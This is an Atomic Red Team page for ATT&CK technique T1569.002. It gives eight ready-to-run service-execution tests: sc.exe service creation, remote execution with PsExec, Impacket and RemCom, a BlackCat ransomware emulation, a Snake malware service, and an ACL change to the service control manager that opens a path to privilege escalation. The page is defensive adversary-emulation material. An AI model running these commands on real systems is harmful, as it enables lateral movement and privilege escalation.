T1569.002
System Services: Service Execution
Description from ATT&CK
Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (
services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such assc.exeand Net.PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and
sc.execan accept remote servers as arguments and may be used to conduct remote execution.Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.
Atomic Tests
- Atomic Test #1: Execute a Command as a Service
- Atomic Test #2: Use PsExec to execute a command on a remote host
- Atomic Test #3: psexec.py (Impacket)
- Atomic Test #4: BlackCat pre-encryption cmds with Lateral Movement
- Atomic Test #5: Use RemCom to execute a command on a remote host
- Atomic Test #6: Snake Malware Service Create
- Atomic Test #7: Modifying ACL of Service Control Manager via SDET
- Atomic Test #8: Pipe Creation - PsExec Tool Execution From Suspicious Locations
Atomic Test #1: Execute a Command as a Service
Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.
Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt
BlackCat Ransomware (ALPHV) Cybereason vs. BlackCat Ransomware
Supported Platforms: Windows
auto_generated_guid: 2382dee2-a75f-49aa-9378-f52df6ed3fb1
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| service_name | Name of service to create | string | ARTService |
| executable_command | Command to execute as a service | string | %COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}Cleanup Commands
del C:\art-marker.txt >nul 2>&1Atomic Test #2: Use PsExec to execute a command on a remote host
Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.
Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
Supported Platforms: Windows
auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote hostname or IP address | string | localhost |
| user_name | Username | string | DOMAIN\Administrator |
| password | Password | string | P@ssw0rd1 |
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"Dependencies: Run with powershell!
Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -ForceAtomic Test #3: psexec.py (Impacket)
Will execute a command on the remote host with Impacket psexec.py script.
Supported Platforms: Linux
auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote hostname or IP address | string | 127.0.0.1 |
| username | Username | string | Administrator |
| domain | Target domain | string | |
| password | Password | string | P@ssw0rd1 |
| command | Command to execute in target computer | string | whoami |
Attack Commands: Run with bash!
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'Dependencies: Run with bash!
Description: psexec.py (Impacket)
Check Prereq Commands
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;Get Prereq Commands
sudo pip3 install impacketAtomic Test #4: BlackCat pre-encryption cmds with Lateral Movement
This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat
Supported Platforms: Windows
auto_generated_guid: 31eb7828-97d7-4067-9c1e-c6feb85edc4b
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| targethost | Target hostname to attempt psexec connection to for emulation of lateral movement. | string | $ENV:COMPUTERNAME |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
cmd.exe /c "wmic csproduct get UUID"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo "--access-token""Cleanup Commands
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exeDependencies: Run with powershell!
Description: PsExec must exist on disk at "PathToAtomicsFolder..\ExternalPayloads\PsExec.exe"
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}Get Prereq Commands
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -ForceAtomic Test #5: Use RemCom to execute a command on a remote host
Requires having RemCom installed, path to RemCom is one of the input input_arguments Will start a process on a remote host. Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).
Supported Platforms: Windows
auto_generated_guid: a5d8cdeb-be90-43a9-8b26-cc618deac1e0
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| remote_host | Remote hostname or IP address | string | localhost |
| user_name | Username | string | Administrator |
| password | Password | string | P@ssw0rd1 |
Attack Commands: Run with command_prompt!
"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exeDependencies: Run with powershell!
Description: RemCom tool must exist on disk in the ExternalPayloads folder
Check Prereq Commands
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1}Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"Atomic Test #6: Snake Malware Service Create
The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe. This was recently seen in the Snake Malware report. Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service. Snake Malware - CISA
Supported Platforms: Windows
auto_generated_guid: b8db787e-dbea-493c-96cb-9272296ddc49
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= autoCleanup Commands
sc.exe delete "WerFaultSvc"Atomic Test #7: Modifying ACL of Service Control Manager via SDET
Modify permissions of Service Control Manager via SDSET. This allows any administrative user to escalate privilege and create a service with SYSTEM level privileges.Restart is required. Blog
Supported Platforms: Windows
auto_generated_guid: bf07f520-3909-4ef5-aa22-877a50f2f77b
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
sc.exe sdset scmanager D:(A;;KA;;;WD)Atomic Test #8: Pipe Creation - PsExec Tool Execution From Suspicious Locations
Requires PsExec tool installed. BlackCat Ransomeware tried to propagate by creating pipe using PsExec process executing from suspicious locations (In the particular case the legitimate PsExec executable is embedded within the Windows variant and is dropped in the victim’s %TEMP% directory). pon successful execution, PsExec will be executed from suspicious location and create a new pipe to execute CMD.
Supported Platforms: Windows
auto_generated_guid: 004a5d68-627b-452d-af3d-43bd1fc75a3b
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
cd C:\Users\Public\Temp\
.\PsExec.exe -i -s cmd -accepteulaDependencies: Run with powershell!
Description: PsExec tool from Sysinternals must exist in the '\Users\Public\Temp' directory
Check Prereq Commands
if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}Get Prereq Commands
New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -ForceAtomic test(s) for this technique last updated: 2025-04-08 22:47:54 UTC